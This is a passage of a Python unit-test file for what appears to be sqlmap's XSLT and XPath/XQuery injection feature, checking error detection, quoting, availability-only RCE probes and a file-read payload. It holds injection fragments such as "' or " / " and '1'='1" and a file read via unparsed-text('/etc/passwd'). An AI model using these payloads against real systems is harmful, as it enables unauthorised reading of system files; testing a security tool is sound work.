self.assertEqual(_xslt._vendorFromError("lxml.etree.XSLTApplyError: compilation error"), "libxslt / lxml")
|
||||
|
||||
def test_a_plain_page_is_not_an_error(self):
|
||||
for page in ("<html><body>luther</body></html>", "", None, "no results found"):
|
||||
self.assertFalse(_xslt._isError(page), repr(page))
|
||||
|
||||
def test_error_regex_is_anchored_to_xslt_vocabulary(self):
|
||||
"""This regex also drives the GLOBAL heuristic hint, so a generic compiler/regex/SQL failure must
|
||||
not suggest '--xslt' on a target that has nothing to do with XSLT."""
|
||||
for page in ("You have an error in your SQL syntax", "Traceback (most recent call last)",
|
||||
"org.postgresql.util.PSQLException", "500 Internal Server Error",
|
||||
"gcc: compilation error", "javac: compilation error",
|
||||
"Invalid expression at line 4", "regex: Invalid expression"):
|
||||
self.assertIsNone(re.search(XSLT_ERROR_REGEX, page), page)
|
||||
|
||||
def test_error_regex_still_matches_every_real_engine(self):
|
||||
for page in ("xsltParseStylesheet : problem", "lxml.etree.XSLTParseError: bad",
|
||||
"XSLTProcessor::importStylesheet(): compilation error",
|
||||
"System.Xml.Xsl.XslLoadException", "net.sf.saxon.trans.XPathException: XTDE1260",
|
||||
"javax.xml.transform.TransformerConfigurationException"):
|
||||
self.assertIsNotNone(re.search(XSLT_ERROR_REGEX, page), page)
|
||||
|
||||
def test_unquotable_paths_do_not_break_the_literal(self):
|
||||
"""XPath 1.0 has no escape character, so a path with both quote kinds needs concat()."""
|
||||
self.assertEqual(_xslt._quote("/etc/passwd"), "'/etc/passwd'")
|
||||
self.assertEqual(_xslt._quote("/tmp/o'brien"), '"/tmp/o\'brien"')
|
||||
self.assertTrue(_xslt._quote("/tmp/bo\"th's").startswith("concat("))
|
||||
|
||||
def test_vendor_properties_are_xslt_defined(self):
|
||||
self.assertIn("xsl:vendor", XSLT_VENDOR_PROPERTIES)
|
||||
for prop in XSLT_VENDOR_PROPERTIES:
|
||||
self.assertTrue(prop.startswith("xsl:"), prop)
|
||||
|
||||
|
||||
class XsltRcePolicyTest(unittest.TestCase):
|
||||
"""The extension surfaces are reported, never invoked - the probes must only ASK whether a function
|
||||
exists, never call it."""
|
||||
|
||||
def test_probes_only_test_availability(self):
|
||||
for label, expression in XSLT_RCE_PROBES:
|
||||
self.assertTrue(expression.startswith("string(function-available(")
|
||||
or expression.startswith("string(element-available("), expression)
|
||||
self.assertNotIn("Runtime.exec", expression)
|
||||
self.assertNotIn("system(", expression)
|
||||
|
||||
def test_labels_say_what_the_primitive_is(self):
|
||||
joined = " ".join(label for label, _ in XSLT_RCE_PROBES).lower()
|
||||
for expected in ("php", "exsl", "saxon", "java"):
|
||||
self.assertIn(expected, joined)
|
||||
|
||||
|
||||
class XQueryTierTest(unittest.TestCase):
|
||||
def test_capability_probes_are_absent_from_xpath_1_0(self):
|
||||
"""Each probe calls a function XPath 1.0 does not define, which is what makes a positive answer a
|
||||
demonstrated capability rather than an inference."""
|
||||
for probe in XQUERY_CAPABILITY_PROBES:
|
||||
self.assertTrue(any(fn in probe for fn in ("string-join", "upper-case", "matches")), probe)
|
||||
|
||||
def test_file_read_uses_unparsed_text(self):
|
||||
self.assertIn("unparsed-text", XQUERY_FILE_READ)
|
||||
self.assertEqual(XQUERY_FILE_READ % "'/etc/passwd'", "unparsed-text('/etc/passwd')")
|
||||
|
||||
def test_file_charset_covers_tab_and_newline(self):
|
||||
"""The XML-tree charset excludes them; a file recovered with newlines replaced by '?' is useless."""
|
||||
self.assertIn(0x09, _xpath._FILE_ORDS)
|
||||
self.assertIn(0x0a, _xpath._FILE_ORDS)
|
||||
self.assertIn(ord('&'), _xpath._FILE_ORDS)
|
||||
|
||||
def test_file_charset_literal_carries_no_transport_hazard(self):
|
||||
"""Built from codepoints because the charset contains ' " & and < - a bare '&' is an invalid
|
||||
entity in an XQuery string literal AND splits a query-string parameter in two."""
|
||||
literal = _xpath._FILE_LITERAL
|
||||
self.assertTrue(literal.startswith("codepoints-to-string(("))
|
||||
for hazard in ("'", '"', "&", "<"):
|
||||
self.assertNotIn(hazard, literal)
|
||||
|
||||
def test_file_charset_literal_matches_the_ordinals(self):
|
||||
codes = [int(_) for _ in re.search(r"\(\((.*)\)\)", _xpath._FILE_LITERAL).group(1).split(",")]
|
||||
self.assertEqual(codes, _xpath._FILE_ORDS)
|
||||
|
||||
def test_builders_accept_a_charset_override(self):
|
||||
"""The override is what keeps the file read from disturbing XML-tree extraction."""
|
||||
builder = _xpath._XPathPayloadBuilder("x", _xpath.Boundary("' or ", " and '1'='1", True))
|
||||
self.assertIn("ZZZ", builder.charPresent("t", 1, "ZZZ"))
|
||||
self.assertIn("ZZZ", builder.charIndexAtLeast("t", 1, 2, "ZZZ"))
|
||||
self.assertIn(_xpath._CS_LITERAL, builder.charPresent("t", 1))
|
||||
|
||||
|
||||
class SwitchWiringTest(unittest.TestCase):
|
||||
def test_switch_is_registered_and_mutually_exclusive(self):
|
||||
from lib.core.optiondict import optDict
|
||||
self.assertEqual(optDict["Techniques"].get("xslt"), "boolean")
|
||||
|
||||
self.assertIn('("--xslt", conf.xslt)', _source("lib", "core", "option.py"))
|
||||
|
||||
def test_controller_dispatches_the_scan(self):
|
||||
self.assertIn("from lib.techniques.xslt.inject import xsltScan", _source("lib", "controller", "controller.py"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user